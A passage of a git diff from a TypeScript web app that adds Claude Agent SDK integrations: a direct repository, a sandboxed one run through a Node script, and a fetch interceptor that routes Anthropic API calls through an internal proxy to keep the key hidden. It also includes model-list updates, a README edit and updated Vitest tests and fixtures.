'string' ? input : input instanceof URL ? input.href : input.url; + + // Check for bypass flag (set by proxy) + const headers = init?.headers; + const isBypass = headers && ( + (headers instanceof Headers && headers.get('x-bypass-interceptor') === 'true') || + (typeof headers === 'object' && 'x-bypass-interceptor' in headers && headers['x-bypass-interceptor'] === 'true') + ); + + if (isBypass) { + return originalFetch(input, init); + } + + // Parse URL once for security validation + let parsedUrl; + try { + parsedUrl = new URL(url); + } catch { + return originalFetch(input, init); + } + + const hostname = parsedUrl.hostname.toLowerCase(); + + // Don't intercept proxy URLs + if (parsedUrl.pathname.includes('/api/anthropic-proxy')) { + return originalFetch(input, init); + } + + // Intercept Anthropic API calls + // SECURITY: Compare exact hostname to prevent malicious domains like "api.anthropic.com.evil.com" + if (hostname === 'api.anthropic.com') { + const apiPath = parsedUrl.pathname + parsedUrl.search; + const proxyUrl = ${JSON.stringify(proxyUrl)} + apiPath; + + const originalRequest = input instanceof Request ? input : undefined; + const baseInit = { + ...init, + method: init?.method ?? originalRequest?.method, + body: init?.body ?? (originalRequest?.body ? await originalRequest.clone().arrayBuffer() : undefined) + }; + + const newHeaders = new Headers(init?.headers ?? originalRequest?.headers); + newHeaders.set('x-api-key', ${JSON.stringify(internalProxySecret)}); + newHeaders.delete('authorization'); + + return originalFetch(proxyUrl, { ...baseInit, headers: newHeaders }); + } + + return originalFetch(input, init); +}; +` : ''} + +async function runAgent() { + let queryResult; + try { + // Set up a working directory for SDK files + const fs = require('fs'); + const os = require('os'); + const path = require('path'); + + const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'claude-sdk-')); + + // Find the Claude Code CLI executable + const cliPath = path.join(process.cwd(), 'node_modules', '@anthropic-ai', 'claude-agent-sdk', 'cli.js'); + + queryResult = query({ + prompt: ${JSON.stringify(userPrompt)}, + options: { + model: ${JSON.stringify(model)}, + systemPrompt: ${systemPrompt ? JSON.stringify(systemPrompt) : 'undefined'}, + maxTurns: 10, + maxBudgetUsd: 1.0, // Strict budget limit per request + ${streaming ? 'includePartialMessages: true,' : ''} + mcpServers: ${mcpServers}, + permissionMode: 'bypassPermissions', + cwd: tmpDir, // Set working directory for SDK + pathToClaudeCodeExecutable: cliPath, // Point to the bundled CLI + executable: 'node' // Use node to run the CLI + } + }); + } catch (err) { + console.error('Error starting query:', err.message); + throw err; + } + + let fullContent = ''; + + for await (const msg of queryResult) { + if (!msg) continue; + + if (msg.type === 'stream_event' && msg.event?.type === 'content_block_delta') { + const deltaText = msg.event?.delta?.text; + if (deltaText) { + fullContent += deltaText; + } + } else if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result; + break; // Exit loop after success + } else if (msg.type === 'result' && (msg.subtype === 'error_during_execution' || msg.subtype === 'error_max_turns' || msg.subtype === 'error_max_budget_usd')) { + const errorMsg = \`SDK error: \${msg.subtype}\${msg.errors ? ' - ' + JSON.stringify(msg.errors) : ''}\`; + console.error(errorMsg); + throw new Error(errorMsg); + } + } + + console.log(JSON.stringify({ content: fullContent })); +} + +runAgent().catch(error => { + console.error('Fatal error in runAgent:', error.message); + console.error('Stack:', error.stack); + console.error(JSON.stringify({ error: error.message })); + process.exit(1); +}); +` + + // Execute the script in the sandbox + loggers.agentic('Executing SDK in sandbox', { userId: this.userId, model }) + + const runResult = await this.sandbox.runCommand({ + cmd: 'node', + args: ['-e', executionScript] + }) + + const stdout = await runResult.stdout() + const stderr = await runResult.stderr() + + if (runResult.exitCode !== 0) { + loggers.agentic.error('Sandbox execution failed', { exitCode: runResult.exitCode }) + throw this.createError('UNKNOWN', `Sandbox execution failed: ${JSON.stringify({ error: stderr || stdout })}`) + } + + // Parse the output + try { + const result = JSON.parse(stdout) as { content?: string; error?: string } + if (result.error) { + throw this.createError('UNKNOWN', `Agent error: ${result.error}`) + } + + if (!result.content || typeof result.content !== 'string') { + throw this.createError('UNKNOWN', 'Invalid response format from sandbox') + } + + return { + content: result.content, + usage: estimateUsage(messages, result.content) + } + } catch (parseError) { + loggers.agentic.error('Failed to parse sandbox output', { + stdout, + parseError + }) + throw this.createError('UNKNOWN', 'Failed to parse sandbox output') + } + } + + async generate(params: LLMGenerationParams): Promise { + try { + const { messages, model } = params + + const systemPrompt = extractSystemPrompt(messages) + const userPrompt = buildPrompt(messages) + + loggers.agentic('Claude Agent SDK Sandbox Request', { + model, + messageCount: messages.length, + hasSystemPrompt: Boolean(systemPrompt) + }) + + const { content, usage } = await this._executeInSandbox( + messages, + userPrompt, + systemPrompt, + model, + false + ) + + loggers.agentic('Claude Agent SDK Sandbox Response', { + model, + contentLength: content.length + }) + + return { + id: crypto.randomUUID(), + model, + content, + usage, + finishReason: 'stop', + provider: 'claude-agent-sdk-sandbox' + } + } catch (error) { + if ((error as LLMError).code) { + throw error + } + loggers.agentic.error('Claude SDK Sandbox generate() error', { + error: error instanceof Error ? error.message : String(error), + stack: error instanceof Error ? error.stack : undefined + }) + throw this.createError( + 'UNKNOWN', + `SDK Sandbox error: ${error instanceof Error ? error.message : String(error)}`, + error + ) + } + } + + async generateStream( + params: LLMGenerationParams, + onChunk: (chunk: StreamChunk) => void + ): Promise { + // Note: Streaming from sandbox is complex due to subprocess stdout buffering + // For now, we'll execute non-streaming and return the full result + // TODO: Implement proper streaming via websockets or server-sent events + loggers.agentic('Streaming not fully supported in sandbox mode, falling back to non-streaming') + + const result = await this.generate(params) + + // Simulate streaming by chunking the response + const chunkSize = 100 + for (let i = 0; i < result.content.length; i += chunkSize) { + onChunk({ + content: result.content.slice(i, i + chunkSize), + isFinished: false + }) + } + + onChunk({ content: '', isFinished: true }) + + return result + } + + async getModelInfo(modelId: string): Promise { + const modelDatabase = getClaudeModels() + return modelDatabase.find(m => m.id === modelId) ?? null + } + + async listModels(): Promise { + return getClaudeModels() + } + + isConfigured(): boolean { + return Boolean(this.apiKey) && Boolean(process.env.VERCEL_OIDC_TOKEN) + } + + /** + * Cleanup sandbox resources + */ + async cleanup(): Promise { + if (this.sandbox) { + loggers.agentic('Cleaning up Vercel Sandbox') + // Sandbox cleanup is handled automatically by Vercel + this.sandbox = null + } + } + + private createError( + code: LLMError['code'], + message: string, + details?: unknown + ): LLMError { + const error = new Error(message) as LLMError + error.code = code + error.provider = 'claude-agent-sdk-sandbox' + error.details = details + return error + } +} diff --git a/src/lib/domains/agentic/repositories/claude-agent-sdk.repository.ts b/src/lib/domains/agentic/repositories/claude-agent-sdk.repository.ts new file mode 100644 index 000000000..0e6ebc7a0 --- /dev/null +++ b/src/lib/domains/agentic/repositories/claude-agent-sdk.repository.ts @@ -0,0 +1,359 @@ +// DON'T import query at module level - it reads env vars on import! +// import { query } from '@anthropic-ai/claude-agent-sdk' +import type { ILLMRepository } from '~/lib/domains/agentic/repositories/llm.repository.interface' +import type { + LLMGenerationParams, + LLMResponse, + StreamChunk, + ModelInfo, + LLMError +} from '~/lib/domains/agentic/types/llm.types' +import { loggers } from '~/lib/debug/debug-logger' +import { + extractSystemPrompt, + buildPrompt, + estimateUsage, + getClaudeModels +} from '~/lib/domains/agentic/repositories/_helpers/sdk-helpers' +import { installAnthropicNetworkInterceptor } from '~/lib/domains/agentic/repositories/_helpers/network-interceptor' + +// Helper function to safely extract delta text from SDK events +function extractDeltaText(event: unknown): string | undefined { + if ( + event && + typeof event === 'object' && + 'type' in event && + event.type === 'content_block_delta' && + 'delta' in event && + event.delta && + typeof event.delta === 'object' && + 'text' in event.delta && + typeof event.delta.text === 'string' + ) { + return event.delta.text + } + return undefined +} + +export class ClaudeAgentSDKRepository implements ILLMRepository { + private readonly apiKey: string + private readonly mcpApiKey?: string + private readonly userId?: string + + constructor(apiKey: string, mcpApiKey?: string, userId?: string) { + this.apiKey = apiKey + this.mcpApiKey = mcpApiKey + this.userId = userId + + // SECURITY: Use proxy to prevent API key exposure + const useProxy = process.env.USE_ANTHROPIC_PROXY === 'true' + + if (useProxy) { + // SECURITY: Require INTERNAL_PROXY_SECRET when proxy is enabled + if (!process.env.INTERNAL_PROXY_SECRET) { + throw new Error('INTERNAL_PROXY_SECRET environment variable is required when USE_ANTHROPIC_PROXY=true') + } + + const mcpBaseUrl = process.env.HEXFRAME_API_BASE_URL ?? 'http://localhost:3000' + const internalProxySecret = process.env.INTERNAL_PROXY_SECRET + + // CRITICAL: Save the original API key before we overwrite it + // The proxy needs the real key to call Anthropic + if (!process.env.ANTHROPIC_API_KEY_ORIGINAL) { + process.env.ANTHROPIC_API_KEY_ORIGINAL = process.env.ANTHROPIC_API_KEY + } + + // Set base URL to proxy (SDK will append /v1/messages) + const proxyBaseUrl = `${mcpBaseUrl}/api/anthropic-proxy` + + loggers.agentic('Using Anthropic proxy', { + userId, + proxyUrl: proxyBaseUrl, + proxySecretConfigured: true + }) + + // NETWORK-LEVEL INTERCEPTION + // Install a global fetch interceptor that catches ALL requests to api.anthropic.com + // This ensures that even hardcoded URLs in the SDK get redirected through our proxy + installAnthropicNetworkInterceptor({ + proxyBaseUrl, + proxySecret: internalProxySecret + }) + + // CRITICAL: Use the proxy secret as the API key + // The Anthropic SDK will send this in the x-api-key header + // Our proxy will validate it matches INTERNAL_PROXY_SECRET + // Then use the real ANTHROPIC_API_KEY to call Anthropic + process.env.ANTHROPIC_BASE_URL = proxyBaseUrl + process.env.ANTHROPIC_API_KEY = internalProxySecret + + loggers.agentic('Proxy env vars set', { + baseUrl: process.env.ANTHROPIC_BASE_URL, + apiKeyConfigured: !!process.env.ANTHROPIC_API_KEY + }) + } else { + // Direct API key usage (legacy mode) + if (apiKey) { + process.env.ANTHROPIC_API_KEY = apiKey + } + } + + // Enable DEBUG mode to capture subprocess stderr for troubleshooting + // if (process.env.NODE_ENV === 'development') { + // process.env.DEBUG = '*' + // } + } + + async generate(params: LLMGenerationParams): Promise { + try { + const { messages, model } = params + + // Convert messages to SDK format + const systemPrompt = extractSystemPrompt(messages) + const userPrompt = buildPrompt(messages) + + loggers.agentic('Claude Agent SDK Request', { + model, + messageCount: messages.length, + hasSystemPrompt: Boolean(systemPrompt), + systemPrompt: systemPrompt?.substring(0, 100), + apiKeySet: !!process.env.ANTHROPIC_API_KEY + }) + + // Configure SDK to use HTTP MCP server + // In development: http://localhost:3000/api/mcp + // In production: https://hexframe.ai/api/mcp + const mcpBaseUrl = process.env.HEXFRAME_API_BASE_URL ?? 'http://localhost:3000' + + // Use provided MCP API key (passed by API layer after orchestrating with IAM domain) + const mcpApiKey = this.mcpApiKey + + loggers.agentic('MCP Server Configuration', { + hasMcpApiKey: !!mcpApiKey, + mcpUrl: `${mcpBaseUrl}/api/mcp`, + willCreateMcpServers: !!mcpApiKey + }) + + // Always enable MCP server when API key is available + // The HTTP MCP server at /api/mcp already has all tool definitions + const mcpServers = mcpApiKey + ? { + hexframe: { + type: 'http' as const, + url: `${mcpBaseUrl}/api/mcp`, + headers: { + 'x-api-key': mcpApiKey, + ...(this.userId ? { 'x-user-id': this.userId } : {}) + } + } + } + : undefined + + // Call SDK query function + loggers.agentic('About to call SDK query', { + anthropicBaseUrl: process.env.ANTHROPIC_BASE_URL, + anthropicApiKeyConfigured: !!process.env.ANTHROPIC_API_KEY + }) + + // CRITICAL: Dynamic import AFTER setting env vars + // The SDK reads ANTHROPIC_BASE_URL on import, so we must import after setting it + const { query } = await import('@anthropic-ai/claude-agent-sdk') + + const queryResult = query({ + prompt: userPrompt, + options: { + model, + systemPrompt, + maxTurns: 10, // Allow multiple turns for tool use and agentic workflows + mcpServers, + permissionMode: 'bypassPermissions' // Allow MCP tools without asking for permission + } + }) + + // Collect all chunks from async generator + let fullContent = '' + + for await (const msg of queryResult) { + if (!msg) continue + + if (msg.type === 'stream_event') { + const deltaText = extractDeltaText(msg.event) + if (deltaText) { + fullContent += deltaText + } + } else if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } else if (msg.type === 'result' && (msg.subtype === 'error_during_execution' || msg.subtype === 'error_max_turns' || msg.subtype === 'error_max_budget_usd')) { + loggers.agentic.error('SDK result error', { + subtype: msg.subtype, + fullMsg: msg + }) + throw this.createError('UNKNOWN', `SDK returned error: ${msg.subtype}`, msg) + } + } + + loggers.agentic('Claude Agent SDK Response', { + model, + contentLength: fullContent.length + }) + + return { + id: crypto.randomUUID(), + model, + content: fullContent, + usage: estimateUsage(messages, fullContent), + finishReason: 'stop', + provider: 'claude-agent-sdk' + } + } catch (error) { + if ((error as LLMError).code) { + throw error + } + loggers.agentic.error('Claude SDK generate() error', { + error: error instanceof Error ? error.message : String(error), + stack: error instanceof Error ? error.stack : undefined, + errorObject: error + }) + throw this.createError('UNKNOWN', `SDK error occurred: ${error instanceof Error ? error.message : String(error)}`, error) + } + } + + async generateStream( + params: LLMGenerationParams, + onChunk: (chunk: StreamChunk) => void + ): Promise { + try { + const { messages, model } = params + + const systemPrompt = extractSystemPrompt(messages) + const userPrompt = buildPrompt(messages) + + loggers.agentic('Claude Agent SDK Streaming Request', { + model, + messageCount: messages.length + }) + + // Configure SDK to use HTTP MCP server + // In development: http://localhost:3000/api/mcp + // In production: https://hexframe.ai/api/mcp + const mcpBaseUrl = process.env.HEXFRAME_API_BASE_URL ?? 'http://localhost:3000' + + // Use provided MCP API key (passed by API layer after orchestrating with IAM domain) + const mcpApiKey = this.mcpApiKey + + loggers.agentic('MCP Server Configuration (Streaming)', { + hasMcpApiKey: !!mcpApiKey, + mcpUrl: `${mcpBaseUrl}/api/mcp`, + willCreateMcpServers: !!mcpApiKey + }) + + // Always enable MCP server when API key is available + // The HTTP MCP server at /api/mcp already has all tool definitions + const mcpServers = mcpApiKey + ? { + hexframe: { + type: 'http' as const, + url: `${mcpBaseUrl}/api/mcp`, + headers: { + 'x-api-key': mcpApiKey, + ...(this.userId ? { 'x-user-id': this.userId } : {}) + } + } + } + : undefined + + // CRITICAL: Dynamic import AFTER setting env vars + // The SDK reads ANTHROPIC_BASE_URL on import, so we must import after setting it + const { query } = await import('@anthropic-ai/claude-agent-sdk') + + const queryResult = query({ + prompt: userPrompt, + options: { + model, + systemPrompt, + maxTurns: 10, // Allow multiple turns for tool use and agentic workflows + includePartialMessages: true, // Enable real-time streaming + mcpServers, + permissionMode: 'bypassPermissions' // Allow MCP tools without asking for permission + } + }) + + let fullContent = '' + + // Stream chunks via callback + for await (const msg of queryResult) { + if (!msg) continue + + if (msg.type === 'stream_event') { + const deltaText = extractDeltaText(msg.event) + if (deltaText) { + fullContent += deltaText + onChunk({ content: deltaText, isFinished: false }) + } + } else if (msg.type === 'result' && msg.subtype === 'success') { + fullContent = msg.result + } else if (msg.type === 'result' && (msg.subtype === 'error_during_execution' || msg.subtype === 'error_max_turns' || msg.subtype === 'error_max_budget_usd')) { + loggers.agentic.error('SDK streaming result error', { + subtype: msg.subtype, + fullMsg: msg + }) + throw this.createError('UNKNOWN', `SDK streaming returned error: ${msg.subtype}`, msg) + } + } + + // Signal completion + onChunk({ content: '', isFinished: true }) + + loggers.agentic('Claude Agent SDK Streaming Complete', { + model, + contentLength: fullContent.length + }) + + return { + id: crypto.randomUUID(), + model, + content: fullContent, + usage: estimateUsage(messages, fullContent), + finishReason: 'stop', + provider: 'claude-agent-sdk' + } + } catch (error) { + if ((error as LLMError).code) { + throw error + } + loggers.agentic.error('Claude SDK generateStream() error', { + error: error instanceof Error ? error.message : String(error), + stack: error instanceof Error ? error.stack : undefined, + errorObject: error + }) + throw this.createError('UNKNOWN', `SDK streaming error occurred: ${error instanceof Error ? error.message : String(error)}`, error) + } + } + + async getModelInfo(modelId: string): Promise { + // Static model information for Claude models + const modelDatabase = getClaudeModels() + return modelDatabase.find(m => m.id === modelId) ?? null + } + + async listModels(): Promise { + // Return all Claude models + return getClaudeModels() + } + + isConfigured(): boolean { + return Boolean(this.apiKey) + } + + private createError( + code: LLMError['code'], + message: string, + details?: unknown + ): LLMError { + const error = new Error(message) as LLMError + error.code = code + error.provider = 'claude-agent-sdk' + error.details = details + return error + } +} diff --git a/src/lib/domains/agentic/repositories/index.ts b/src/lib/domains/agentic/repositories/index.ts index 4715695b9..4fd947b09 100644 --- a/src/lib/domains/agentic/repositories/index.ts +++ b/src/lib/domains/agentic/repositories/index.ts @@ -9,4 +9,6 @@ export type { ILLMRepository } from '~/lib/domains/agentic/repositories/llm.repo // Repository implementations export { OpenRouterRepository } from '~/lib/domains/agentic/repositories/openrouter.repository'; +export { ClaudeAgentSDKRepository } from '~/lib/domains/agentic/repositories/claude-agent-sdk.repository'; +export { ClaudeAgentSDKSandboxRepository } from '~/lib/domains/agentic/repositories/claude-agent-sdk-sandbox.repository'; export { QueuedLLMRepository } from '~/lib/domains/agentic/repositories/queued-llm.repository'; \ No newline at end of file diff --git a/src/lib/domains/agentic/repositories/queued-llm.repository.ts b/src/lib/domains/agentic/repositories/queued-llm.repository.ts index a8e38ee77..619345ff5 100644 --- a/src/lib/domains/agentic/repositories/queued-llm.repository.ts +++ b/src/lib/domains/agentic/repositories/queued-llm.repository.ts @@ -16,6 +16,8 @@ const QUICK_MODELS = [ 'gpt-4o-mini', 'gpt-3.5-turbo', 'claude-3-haiku', + 'claude-haiku-4-5', // Claude Haiku 4.5 + 'claude-3-5-haiku', // Claude 3.5 Haiku 'deepseek/deepseek-chat', 'mistral/mistral-small', 'gemini/gemini-flash' @@ -28,6 +30,8 @@ const SLOW_MODELS = [ 'o1-preview', 'o1-mini', 'claude-3-opus', + 'claude-opus-4', // Claude Opus 4 variants + 'claude-sonnet-4', // Claude Sonnet 4 variants (slower than Haiku) 'gpt-4-turbo' ] diff --git a/src/lib/domains/agentic/services/README.md b/src/lib/domains/agentic/services/README.md index 84aabf99e..7666bccaa 100644 --- a/src/lib/domains/agentic/services/README.md +++ b/src/lib/domains/agentic/services/README.md @@ -7,8 +7,11 @@ Like a translation bureau that takes hexagonal map context and chat history, con - Orchestrate AI conversations by combining map context with chat history - Build and compose context from canvas (hexagonal tiles) and chat messages - Manage prompt templates and AI model interactions (both streaming and non-streaming) +- Support tool usage in AI conversations for extended functionality +- Create and manage subagents with specific configurations and capabilities - Handle tokenization and optimize context size to fit model limits - Serialize complex domain data into AI-readable formats +- Select and configure LLM repositories (OpenRouter or Claude Agent SDK) ## Non-Responsibilities - Canvas strategy implementations → See `./canvas-strategies/` diff --git a/src/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks.ts b/src/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks.ts index 9451cf9c0..5195c56c7 100644 --- a/src/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks.ts +++ b/src/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks.ts @@ -1,4 +1,5 @@ import type { TileContextItem, CanvasContext, ChatContextMessage, ChatContext } from '~/lib/domains/agentic/types' +import type { MapContext } from '~/lib/domains/mapping/utils' import { vi } from 'vitest' export const createMockCenterTile = (): TileContextItem => ({ @@ -12,6 +13,7 @@ export const createMockCenterTile = (): TileContextItem => ({ export const createMockCanvasContext = (): CanvasContext => ({ type: 'canvas', center: createMockCenterTile(), + composed: [], children: [ { coordId: 'child1', title: 'Child 1', content: 'Desc 1', position: 1, depth: 1, hasChildren: false }, { coordId: 'child2', title: 'Child 2', content: 'Desc 2', position: 2, depth: 1, hasChildren: false } @@ -45,4 +47,79 @@ export const createMockChatContext = (): ChatContext => ({ strategy: 'full', metadata: { computedAt: new Date() }, serialize: vi.fn().mockReturnValue('Chat context serialized') -}) \ No newline at end of file +}) + +export const createMockMapContext = (): MapContext => { + return { + center: { + id: '1', + ownerId: '1', + coords: '1,0:1,2', + title: 'Center Tile', + content: 'This is the center tile content', + preview: 'Preview of center tile', + link: '', + itemType: 'ITEM', + depth: 2, + parentId: null, + originId: null + }, + parent: { + id: '0', + ownerId: '1', + coords: '1,0:', + title: 'Parent Tile', + content: 'This is the parent tile', + preview: 'Preview of parent', + link: '', + itemType: 'USER', + depth: 0, + parentId: null, + originId: null + }, + composed: [], + children: [ + { + id: '2', + ownerId: '1', + coords: '1,0:1,2,1,3', + title: 'Child Tile 1', + content: 'Content of child tile 1', + preview: 'Preview of child tile 1', + link: '', + itemType: 'ITEM', + depth: 4, + parentId: '1', + originId: null + }, + { + id: '3', + ownerId: '1', + coords: '1,0:1,2,2,4', + title: 'Child Tile 2', + content: 'Content of child tile 2', + preview: 'Preview of child tile 2', + link: '', + itemType: 'ITEM', + depth: 4, + parentId: '1', + originId: null + } + ], + grandchildren: [ + { + id: '4', + ownerId: '1', + coords: '1,0:1,2,1,3,1,5', + title: 'Grandchild Tile 1', + content: 'Content of grandchild', + preview: 'Preview of grandchild', + link: '', + itemType: 'ITEM', + depth: 6, + parentId: '2', + originId: null + } + ] + } as unknown as MapContext +} \ No newline at end of file diff --git a/src/lib/domains/agentic/services/__tests__/agentic.service.test.ts b/src/lib/domains/agentic/services/__tests__/agentic.service.test.ts index f10332531..309db07ee 100644 --- a/src/lib/domains/agentic/services/__tests__/agentic.service.test.ts +++ b/src/lib/domains/agentic/services/__tests__/agentic.service.test.ts @@ -2,9 +2,9 @@ import { describe, it, expect, vi, beforeEach } from 'vitest' import { AgenticService } from '~/lib/domains/agentic/services/agentic.service' import type { ILLMRepository } from '~/lib/domains/agentic/repositories/llm.repository.interface' import type { ContextCompositionService } from '~/lib/domains/agentic/services/context-composition.service' -import type { EventBus } from '~/app/map' -import type { ComposedContext, LLMResponse, StreamChunk } from '~/lib/domains/agentic/types' -import type { ChatMessage } from '~/app/map' +import type { EventBus } from '~/lib/utils/event-bus' +import type { ComposedContext, LLMResponse, StreamChunk, ChatMessageContract } from '~/lib/domains/agentic/types' +import { createMockMapContext } from '~/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks' describe('AgenticService', () => { let mockLLMRepository: ILLMRepository @@ -65,7 +65,7 @@ describe('AgenticService', () => { }) describe('generateResponse', () => { - const mockMessages: ChatMessage[] = [ + const mockMessages: ChatMessageContract[] = [ { id: '1', type: 'user', @@ -75,14 +75,26 @@ describe('AgenticService', () => { it('should generate a response with composed context', async () => { const result = await service.generateResponse({ - centerCoordId: 'user:123,group:456:1,2', + mapContext: createMockMapContext(), messages: mockMessages, model: 'openai/gpt-3.5-turbo' }) - // Should compose context + // Should compose context with MapContext expect(mockContextComposition.composeContext).toHaveBeenCalledWith( - 'user:123,group:456:1,2', + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + expect.objectContaining({ + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + center: expect.any(Object), + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + parent: expect.any(Object), + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + composed: expect.any(Array), + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + children: expect.any(Array), + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + grandchildren: expect.any(Array) + }), mockMessages, { canvas: { @@ -146,7 +158,7 @@ describe('AgenticService', () => { it('should use custom generation options', async () => { await service.generateResponse({ - centerCoordId: 'user:123,group:456:1,2', + mapContext: createMockMapContext(), messages: mockMessages, model: 'anthropic/claude-3-opus', temperature: 0.5, @@ -163,8 +175,21 @@ describe('AgenticService', () => { } }) + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment expect(mockContextComposition.composeContext).toHaveBeenCalledWith( - 'user:123,group:456:1,2', + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + expect.objectContaining({ + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + center: expect.any(Object), + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + parent: expect.any(Object), + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + composed: expect.any(Array), + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + children: expect.any(Array), + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + grandchildren: expect.any(Array) + }), mockMessages, { canvas: { @@ -178,6 +203,7 @@ describe('AgenticService', () => { } ) + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment expect(mockLLMRepository.generate).toHaveBeenCalledWith( expect.objectContaining({ model: 'anthropic/claude-3-opus', @@ -193,7 +219,7 @@ describe('AgenticService', () => { await expect( service.generateResponse({ - centerCoordId: 'user:123,group:456:1,2', + mapContext: createMockMapContext(), messages: mockMessages, model: 'openai/gpt-3.5-turbo' }) @@ -214,7 +240,7 @@ describe('AgenticService', () => { await expect( service.generateResponse({ - centerCoordId: 'user:123,group:456:1,2', + mapContext: createMockMapContext(), messages: mockMessages, model: 'openai/gpt-3.5-turbo' }) @@ -223,7 +249,7 @@ describe('AgenticService', () => { }) describe('generateStreamingResponse', () => { - const mockMessages: ChatMessage[] = [ + const mockMessages: ChatMessageContract[] = [ { id: '1', type: 'user', @@ -249,7 +275,7 @@ describe('AgenticService', () => { const receivedChunks: StreamChunk[] = [] const result = await service.generateStreamingResponse( { - centerCoordId: 'user:123,group:456:1,2', + mapContext: createMockMapContext(), messages: mockMessages, model: 'openai/gpt-3.5-turbo' }, @@ -289,7 +315,7 @@ describe('AgenticService', () => { await expect( service.generateStreamingResponse( { - centerCoordId: 'user:123,group:456:1,2', + mapContext: createMockMapContext(), messages: mockMessages, model: 'openai/gpt-3.5-turbo' }, @@ -335,4 +361,68 @@ describe('AgenticService', () => { expect(mockLLMRepository.isConfigured).toHaveBeenCalled() }) }) + + + describe('createSubagent', () => { + const mockSubagentConfig = { + description: 'A test subagent for data analysis', + tools: ['search', 'calculate'], + prompt: 'You are a data analysis expert. Help users analyze their data.' + } + + it('should create a subagent with the provided configuration', () => { + const subagentId = service.createSubagent(mockSubagentConfig) + + expect(subagentId).toEqual(expect.stringMatching(/^subagent-[a-z0-9-]+$/)) + }) + + it('should store subagent configuration for later use', () => { + const subagentId = service.createSubagent(mockSubagentConfig) + const config = service.getSubagentConfig(subagentId) + + expect(config).toEqual(mockSubagentConfig) + }) + + it('should generate unique IDs for multiple subagents', () => { + const id1 = service.createSubagent(mockSubagentConfig) + const id2 = service.createSubagent(mockSubagentConfig) + const id3 = service.createSubagent(mockSubagentConfig) + + expect(id1).not.toBe(id2) + expect(id2).not.toBe(id3) + expect(id1).not.toBe(id3) + }) + + it('should create subagent with minimal configuration', () => { + const minimalConfig = { + description: 'Minimal subagent', + prompt: 'Help the user' + } + + const subagentId = service.createSubagent(minimalConfig) + const config = service.getSubagentConfig(subagentId) + + expect(config).toEqual(minimalConfig) + }) + + it('should create subagent with all optional fields', () => { + const fullConfig = { + description: 'Full featured subagent', + tools: ['tool1', 'tool2'], + disallowedTools: ['dangerous-tool'], + prompt: 'Advanced prompt', + model: 'sonnet' as const + } + + const subagentId = service.createSubagent(fullConfig) + const config = service.getSubagentConfig(subagentId) + + expect(config).toEqual(fullConfig) + }) + + it('should throw error when retrieving non-existent subagent', () => { + expect(() => service.getSubagentConfig('non-existent-id')) + .toThrow('Subagent not found: non-existent-id') + }) + }) }) \ No newline at end of file diff --git a/src/lib/domains/agentic/services/__tests__/canvas-context-builder.test.ts b/src/lib/domains/agentic/services/__tests__/canvas-context-builder.test.ts index 997213fa1..eb5e5a386 100644 --- a/src/lib/domains/agentic/services/__tests__/canvas-context-builder.test.ts +++ b/src/lib/domains/agentic/services/__tests__/canvas-context-builder.test.ts @@ -1,5 +1,6 @@ import { describe, it, expect, vi, beforeEach } from 'vitest' import { CanvasContextBuilder } from '~/lib/domains/agentic/services/canvas-context-builder.service' +import { createMockMapContext } from '~/lib/domains/agentic/services/__tests__/__fixtures__/context-mocks' import type { ICanvasStrategy } from '~/lib/domains/agentic/services/canvas-strategies/strategy.interface' import type { CanvasContextOptions, TileContextItem, CanvasContextStrategy } from '~/lib/domains/agentic/types' @@ -96,9 +97,10 @@ describe('CanvasContextBuilder', () => { describe('build', () => { it('should use standard strategy by default', async () => { - const result = await builder.build('center:123', 'standard') + const mapContext = createMockMapContext() + const result = await builder.build(mapContext, 'standard') - expect(mockStandardStrategy.build).toHaveBeenCalledWith('center:123', {}) + expect(mockStandardStrategy.build).toHaveBeenCalledWith(mapContext, {}) expect(result.strategy).toBe('standard') expect(result.center).toEqual(mockCenterTile) expect(result.children).toHaveLength(2) @@ -111,13 +113,14 @@ describe('CanvasContextBuilder', () => { includeDescriptions: true } - await builder.build('center:123', 'standard', options) + const mapContext = createMockMapContext() + await builder.build(mapContext, 'standard', options) - expect(mockStandardStrategy.build).toHaveBeenCalledWith('center:123', options) + expect(mockStandardStrategy.build).toHaveBeenCalledWith(mapContext, options) }) it('should use minimal strategy when specified', async () => { - const result = await builder.build('center:123', 'minimal') + const result = await builder.build(createMockMapContext(), 'minimal') expect(mockMinimalStrategy.build).toHaveBeenCalled() expect(result.strategy).toBe('minimal') @@ -126,14 +129,14 @@ describe('CanvasContextBuilder', () => { }) it('should use extended strategy when specified', async () => { - const result = await builder.build('center:123', 'extended') + const result = await builder.build(createMockMapContext(), 'extended') expect(mockExtendedStrategy.build).toHaveBeenCalled() expect(result.strategy).toBe('extended') }) it('should fallback to standard strategy for unknown strategy', async () => { - const result = await builder.build('center:123', 'unknown' as 'standard') + const result = await builder.build(createMockMapContext(), 'unknown' as 'standard') expect(mockStandardStrategy.build).toHaveBeenCalled() expect(result.strategy).toBe('standard') @@ -150,7 +153,7 @@ describe('CanvasContextBuilder', () => { }) it('should include position information for children', async () => { - const result = await builder.build('center:123', 'standard') + const result = await builder.build(createMockMapContext(), 'standard') expect(result.children[0]?.position).toBe(1) // Direction.NorthWest expect(result.children[1]?.position).toBe(2) // Direction.NorthEast @@ -163,7 +166,7 @@ describe('CanvasContextBuilder', () => { describe('MinimalStrategy', () => { it('should return only center tile', async () => { - const result = await builder.build('center:123', 'minimal') + const result = await builder.build(createMockMapContext(), 'minimal') expect(result.center).toEqual(mockCenterTile) expect(result.children).toHaveLength(0) diff --git a/src/lib/domains/agentic/services/__tests__/chat-context-builder.test.ts 